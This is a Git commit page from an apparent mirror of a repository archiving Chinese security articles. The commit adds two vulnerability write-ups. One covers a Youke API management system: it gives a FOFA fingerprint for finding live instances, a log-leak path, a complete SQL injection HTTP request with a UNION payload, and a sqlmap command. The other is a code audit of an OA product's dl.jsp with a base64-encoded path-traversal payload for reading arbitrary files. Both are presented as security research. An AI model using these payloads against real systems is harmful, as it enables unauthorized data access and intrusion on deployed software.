mirror of
https://github.com/gelusus/wxvl.git
synced 2025-07-29 22:14:41 +00:00
代码审计-某oa任意文件读取(1day)、(0day)全新优客API接口管理系统代码审计、
This commit is contained in:
parent
23920dfe7a
commit
f86bdd8f3e
@ -34,5 +34,7 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&mid=2247485595&idx=1&sn=b4c87d04e1659f11fad8f2f125985751&chksm=cfa49360f8d31a76e5d3880e51cd8f9b0ab1df47e86729adf04ea6d1f1202fac72fae5903fbe&scene=58&subscene=0": "大语言语言模型安全攻击以及AI供应链漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247521498&idx=1&sn=f0af27f6b0e814c92846ea129bcee155&chksm=ea94a5b0dde32ca62dddf91f42a9fa2b36402ffb856469973f83a6a88e24d6910dcc53072ef4&scene=58&subscene=0": "PostgreSQL 高危漏洞可导致环境变量被利用",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651388483&idx=1&sn=070fb6976ee52108d263858115ea9bfd&chksm=8d398bcbba4e02ddbe0183f79c2682bbf1cab54e4ba6bb0697fdc56e297e7303aa9eb938b9e6&scene=58&subscene=0": "2024年网络安全漏洞研究人才培养交流活动成功举办",
|
||||
"https://mp.weixin.qq.com/s/O2Ohp_ceYrTo8hppX09fkw": "(0day)微信公众号商家收银台小程序系统存在前台任意文件上传漏洞"
|
||||
"https://mp.weixin.qq.com/s/O2Ohp_ceYrTo8hppX09fkw": "(0day)微信公众号商家收银台小程序系统存在前台任意文件上传漏洞",
|
||||
"https://mp.weixin.qq.com/s/tbEXIAPT-Vumch-WyoGZHQ": "代码审计-某oa任意文件读取(1day)",
|
||||
"https://mp.weixin.qq.com/s/73CXvF4ejvgS40OetzXr8A": "(0day)全新优客API接口管理系统代码审计"
|
||||
}
|
70
doc/(0day)全新优客API接口管理系统代码审计.md
Normal file
70
doc/(0day)全新优客API接口管理系统代码审计.md
Normal file
@ -0,0 +1,70 @@
|
||||
# (0day)全新优客API接口管理系统代码审计
|
||||
原创 Mstir 星悦安全 2024-11-12 03:43
|
||||
|
||||

|
||||
|
||||
点击上方
|
||||
蓝字关注我们 并设为
|
||||
星标
|
||||
## 0x00 前言
|
||||
|
||||
**全新2024优客API接口管理系统,内置30+API接口,支持服务器信息,网站ICP备案,抖音无水印,QQ在线状态QQ头像,获取历史上的今天,IP签名档,ICO站标获,随机动漫图,网站标题获取,爱站权重获取,城市天气获取,随机一言,皮皮虾无水印,每日Bing壁纸,垃圾分类,查询手机号归属地,申通快递查询等接口功能.**
|
||||
|
||||
**fofa指纹:"public/static/index/css/flaghome.css"**
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
**框架:ThinkPHP 5.1.41 Debug:False**
|
||||
## 0x01 前台Log日志泄露漏洞
|
||||
##
|
||||
|
||||
**该系统设置运行目录为根目录,且未对runtime 目录做限制,日志文件可被访问,导致漏洞产生.**
|
||||
|
||||
**Payload (这种格式):**
|
||||
```
|
||||
/runtime/log/202411/11.log
|
||||
```
|
||||
|
||||
**会记录一些包括SQL执行语句在内的敏感信息**
|
||||
|
||||
## 0x02 前台SQL注入漏洞
|
||||
##
|
||||
|
||||
**位于 /index/controller/Index.php 控制器中的doc方法,通过POST传入id参数,并直接进入到SQL查询字句中,且无任何过滤,导致漏洞产生.**
|
||||
```
|
||||
public function doc(){
|
||||
$doc = input('id');
|
||||
$api = Db::name('info')->where("doc='$doc'")->find();
|
||||
$info = Db::name('setup')->find();
|
||||
$list = $this->getTree();
|
||||
return $this->fetch('doc',[
|
||||
'info' => $info,
|
||||
'api' => $api,
|
||||
'list' => $list
|
||||
]);
|
||||
}
|
||||
```
|
||||
|
||||
**Payload:**
|
||||
```
|
||||
POST /index/index/doc HTTP/1.1
|
||||
Content-Length: 142
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
|
||||
Cache-Control: max-age=0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Host: 127.0.0.1
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
|
||||
Connection: close
|
||||
|
||||
id=') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),NULL-- -
|
||||
```
|
||||
|
||||

|
||||
|
||||
python sqlmap.py -r a.txt --level=3 --dbms=mysql
|
||||
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转API源码关注公众号发送 241112 获取!免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
|
274
doc/代码审计-某oa任意文件读取(1day).md
Normal file
274
doc/代码审计-某oa任意文件读取(1day).md
Normal file
@ -0,0 +1,274 @@
|
||||
# 代码审计-某oa任意文件读取(1day)
|
||||
安全洞察知识图谱 2024-11-15 00:30
|
||||
|
||||
本文首发于先知社区 https://xz.aliyun.com/t/16202 本人为原创作者
|
||||
## 0x01 环境准备
|
||||
|
||||
拿到源码之后第一步看是源码是否全面,是否可以搭建起来,如果可以搭建起来就可以用断点调试的方法去调试代码,如果不能就得手动去把一些方法抽象出来,进行调试,我这次拿到的源码不够全面,所以就需要手动去调了。通常审计java代码时个人比较喜欢用vscode阅读代码+idea反编译代码。
|
||||
## 0x02 代码审计
|
||||
|
||||
漏洞通常分为前台漏洞和后台漏洞,前台漏洞是指无需进行登入认证,直接可以访问到某路由,而该路由存在漏洞,就可以直接利用。后台漏洞是需要通过登入认证,才可以访问到某路由。在代码审计时通常优先审计前台漏洞,因为在攻防项目中我们遇见某个系统时不一定会有其账号密码。
|
||||
|
||||
该源码使用tomcat部署,拿到源码的第一步就是去看其目录下的WEB-INF/web.xml文件,
|
||||
|
||||

|
||||
如果访问的是*.jsp或者*.do路由就会跳到CheckFilter去。
|
||||
|
||||
我们跳转到CheckFilter去查看代码
|
||||
|
||||

|
||||
|
||||
重点关注这个if判断语句,
|
||||
```
|
||||
if (servletPath != null && session != null && servletPath.indexOf("getUserAvatar") < 0 && session.getAttribute("userId") == null && servletPath.indexOf("login.jsp") == -1 && servletPath.indexOf("CheckUser.") == -1 && servletPath.indexOf("HntdxyCheckUser.") == -1 && servletPath.indexOf("lhydCheckUser.") == -1 && servletPath.indexOf("ZclCheckUser.") == -1 && servletPath.indexOf("/zcl/goPageUrl.") == -1 && servletPath.indexOf("wap.jsp") == -1 && servletPath.indexOf("wap.do") == -1 && servletPath.indexOf("RTXLogin.jsp") == -1 && servletPath.indexOf("saiLogin.jsp") == -1 && servletPath.indexOf("saitong.jsp") == -1 && servletPath.indexOf("jumperrorMsg.jsp") == -1 && servletPath.indexOf("/wap2/errorShow.jsp") == -1 && servletPath.indexOf("dl.jsp") == -1 && servletPath.indexOf("login_gzw.jsp") == -1 && servletPath.indexOf("/lhyd/index.jsp") == -1 && servletPath.indexOf("/hntdxy/test.jsp") == -1 && servletPath.indexOf("hntdCustomDesktopAction.") == -1 && servletPath.indexOf("recallPassword.jsp") == -1 && servletPath.indexOf("recallPasswordAjax.jsp") == -1) {
|
||||
res.sendRedirect("/jsoa/login.jsp");
|
||||
}
|
||||
```
|
||||
|
||||
他使用的是&&符号,意思就是只有同时满足下列条件,才会跳转到/jsoa/login.jsp,否则就会进入else逻辑,这是否就意味着里面写的那些jsp文件可以直接访问呢?这时候有两种方法可以判断:
|
||||
|
||||
1、跟进代码,看一下下面的逻辑是否过滤了这些文件。
|
||||
|
||||
2、去找到一个搭建好的资产(fofa),去尝试访问该路由,看看是否可以直接访问。
|
||||
|
||||
方法二更加便捷,我去尝试找了一下资产
|
||||
|
||||
去任意访问了几个路由,发现其返回状态码是200,那就证明是可以访问到这些路由的。就去一个一个路由的去看代码。
|
||||
|
||||

|
||||

|
||||
|
||||
一般java而且使用jsp的站,最常见的在护网中有实战意义的就是任意文件上传,传一个jsp的木马就可以直接getshell,而java中有一些常见读写文件的方法,FileReader、FileWriter、BufferedReader、 BufferedWriter、Files.write、FileInputStream、FileOutputStream。可以去全局搜索这些关键字去找。
|
||||
|
||||
这里我定位到了一个dl.jsp方法
|
||||
```
|
||||
<%
|
||||
try{
|
||||
String _queryString=request.getQueryString();
|
||||
String queryString="&"+com.js.util.util.BASE64.BASE64DecoderNoBR(_queryString);
|
||||
String temp;
|
||||
int index=0;
|
||||
String informationId="",path="",FileName="",name="",moduleCode="";
|
||||
|
||||
//查找informationId
|
||||
index=queryString.indexOf("&informationId");
|
||||
if(index>=0){
|
||||
temp=queryString.substring(index+15);
|
||||
if(temp.indexOf("&")>=0){
|
||||
informationId=temp.substring(0,temp.indexOf("&"));
|
||||
}else{
|
||||
informationId=temp;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
//查找path
|
||||
index=queryString.indexOf("&path");
|
||||
if(index>=0){
|
||||
temp=queryString.substring(index+6);
|
||||
if(temp.indexOf("&")>=0){
|
||||
path=temp.substring(0,temp.indexOf("&"));
|
||||
}else{
|
||||
path=temp;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//查找FileName
|
||||
index=queryString.indexOf("&FileName");
|
||||
if(index>=0){
|
||||
temp=queryString.substring(index+10);
|
||||
if(temp.indexOf("&")>=0){
|
||||
FileName=temp.substring(0,temp.indexOf("&"));
|
||||
}else{
|
||||
FileName=temp;
|
||||
}
|
||||
if(!FileName.substring(4,5).equals("_"))
|
||||
{
|
||||
path="0000/"+path;
|
||||
}else
|
||||
{
|
||||
path=FileName.substring(0,4)+"/"+path;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
//查找name
|
||||
index=queryString.indexOf("&name");
|
||||
if(index>=0){
|
||||
temp=queryString.substring(index+6);
|
||||
if(temp.indexOf("&")>=0){
|
||||
name=temp.substring(0,temp.indexOf("&"));
|
||||
}else{
|
||||
name=temp;
|
||||
}
|
||||
//System.out.println("name="+name);
|
||||
}
|
||||
//查找moduleCode
|
||||
index=queryString.indexOf("&moduleCode");
|
||||
if(index>=0){
|
||||
temp=queryString.substring(index+12);
|
||||
if(temp.indexOf("&")>=0){
|
||||
moduleCode=temp.substring(0,temp.indexOf("&"));
|
||||
}else{
|
||||
moduleCode=temp;
|
||||
}
|
||||
}
|
||||
//informationId,path,FileName,name;
|
||||
|
||||
// 得到文件名字和路径
|
||||
//String informationId=request.getParameter("informationId");
|
||||
String filepath="";
|
||||
HttpServletRequest HSR=(HttpServletRequest)pageContext.getRequest();
|
||||
HttpSession session1=HSR.getSession(false);
|
||||
|
||||
if(informationId!=null && !"null".equals(informationId) && !"".equals(informationId)){
|
||||
try{
|
||||
//记录知识管理文档阅读次数并记录查看人
|
||||
com.js.oa.info.infomanager.service.InformationBD info=new com.js.oa.info.infomanager.service.InformationBD();
|
||||
|
||||
String userId=session.getAttribute("userId").toString();
|
||||
String userName=session.getAttribute("userName").toString();
|
||||
String orgId=session.getAttribute("orgId").toString();
|
||||
String orgName=session.getAttribute("orgName").toString();
|
||||
String orgIdString=session.getAttribute("orgIdString").toString();
|
||||
|
||||
info.recordReader(userId,userName,orgId,orgName,orgIdString,informationId);
|
||||
}catch(Exception ex){
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
//判断是否使用了文件服务器
|
||||
if(com.js.util.config.SystemCommon.getUseClusterServer()==1){
|
||||
response.sendRedirect(com.js.util.config.SystemCommon.getClusterServerUrl()+
|
||||
"/download_f.jsp?"+_queryString);
|
||||
}else{
|
||||
//直接下载
|
||||
//String path=request.getParameter("path");
|
||||
while(path.indexOf("../")>=0){
|
||||
path = path.replace("../","");
|
||||
}
|
||||
filepath=HSR.getRealPath("/upload/")+"/"+path+"/";
|
||||
|
||||
filepath = filepath.replaceAll("\\\\", "/");
|
||||
|
||||
if("".equals(moduleCode) || moduleCode ==null)
|
||||
{
|
||||
if(filepath.contains("cooperate"))
|
||||
{
|
||||
moduleCode="co_attach_waitsend";
|
||||
}
|
||||
if(filepath.contains("workflow"))
|
||||
{
|
||||
moduleCode="oa_workflow_waitsend";
|
||||
}
|
||||
if(filepath.contains("customform"))
|
||||
{
|
||||
moduleCode="oa_workflow_complete";
|
||||
}
|
||||
if(filepath.contains("archives"))
|
||||
{
|
||||
moduleCode="oa_archives_fujian";
|
||||
}
|
||||
}
|
||||
|
||||
String nameShow=name;
|
||||
name=new String(name.getBytes("GBK"),"iso-8859-1");
|
||||
java.io.File file = new java.io.File(filepath + FileName);
|
||||
if(file.exists()){
|
||||
|
||||
response.setContentType("csv");
|
||||
|
||||
response.setHeader("Content-Disposition","attachment; filename=\"" + name + "\"");
|
||||
|
||||
java.io.FileInputStream fis=new java.io.FileInputStream(file);
|
||||
java.io.BufferedInputStream buff=new java.io.BufferedInputStream(fis);
|
||||
|
||||
byte [] b=new byte[1024];//相当于我们的缓存
|
||||
long k=0;//该值用于计算当前实际下载了多少字节
|
||||
|
||||
//从response对象中得到输出流,准备下载
|
||||
java.io.OutputStream myout=response.getOutputStream();
|
||||
//开始循环下载
|
||||
while(k<file.length()){
|
||||
int j=buff.read(b,0,1024);
|
||||
k+=j;
|
||||
//将b中的数据写到客户端的内存
|
||||
myout.write(b,0,j);
|
||||
}
|
||||
//将写入到客户端的内存的数据,刷新到磁盘
|
||||
myout.flush();
|
||||
buff.close();
|
||||
fis.close();
|
||||
myout.close();
|
||||
out.clear();
|
||||
out = pageContext.pushBody();
|
||||
}else{
|
||||
response.setContentType("text/html; charset=GBK");
|
||||
%>
|
||||
<html>
|
||||
<head>
|
||||
<title></title>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||
<SCRIPT LANGUAGE="JavaScript">
|
||||
alert("File Not Found!");
|
||||
history.back();
|
||||
</SCRIPT>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
<%
|
||||
}
|
||||
}//end of 直接下载
|
||||
}catch(Exception ex){
|
||||
ex.printStackTrace();
|
||||
response.setContentType("text/html; charset=GBK");
|
||||
%>
|
||||
<html>
|
||||
<head>
|
||||
<title></title>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||
<SCRIPT LANGUAGE="JavaScript">
|
||||
alert("File Not Found!");
|
||||
history.back();
|
||||
</SCRIPT>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
<%
|
||||
}%>
|
||||
```
|
||||
|
||||
先去找sink点,其存在fileInputStream方法去读取一个文件并输出到response.outputstream中
|
||||
|
||||

|
||||
|
||||
就去上前看filepath和filename是怎么获取到的
|
||||
|
||||

|
||||
|
||||
首先是获取一个QueryString然后使用base64解码,这样的写法其实对攻击者很有利,因为可以通过这个去绕过一些waf
|
||||
|
||||

|
||||
|
||||
接着就去读取读取path和filename的内容进行截取
|
||||
|
||||

|
||||
|
||||
接着往下看,对path处进行了替换,把../替换为了空,但是对filename却没进行处理。而最后filepath和FileName是直接拼接的,也就造成了路径穿越可以读取任何文件,最后构造payload,即可进行任意文件读取
|
||||
|
||||
image-20241111111953415
|
||||
```
|
||||
&FileName=../../../dl.jsp&path=/aaa
|
||||
|
||||
base64加密
|
||||
JkZpbGVOYW1lPS4uLy4uLy4uL2RsLmpzcCZwYXRoPS9hYWE=
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user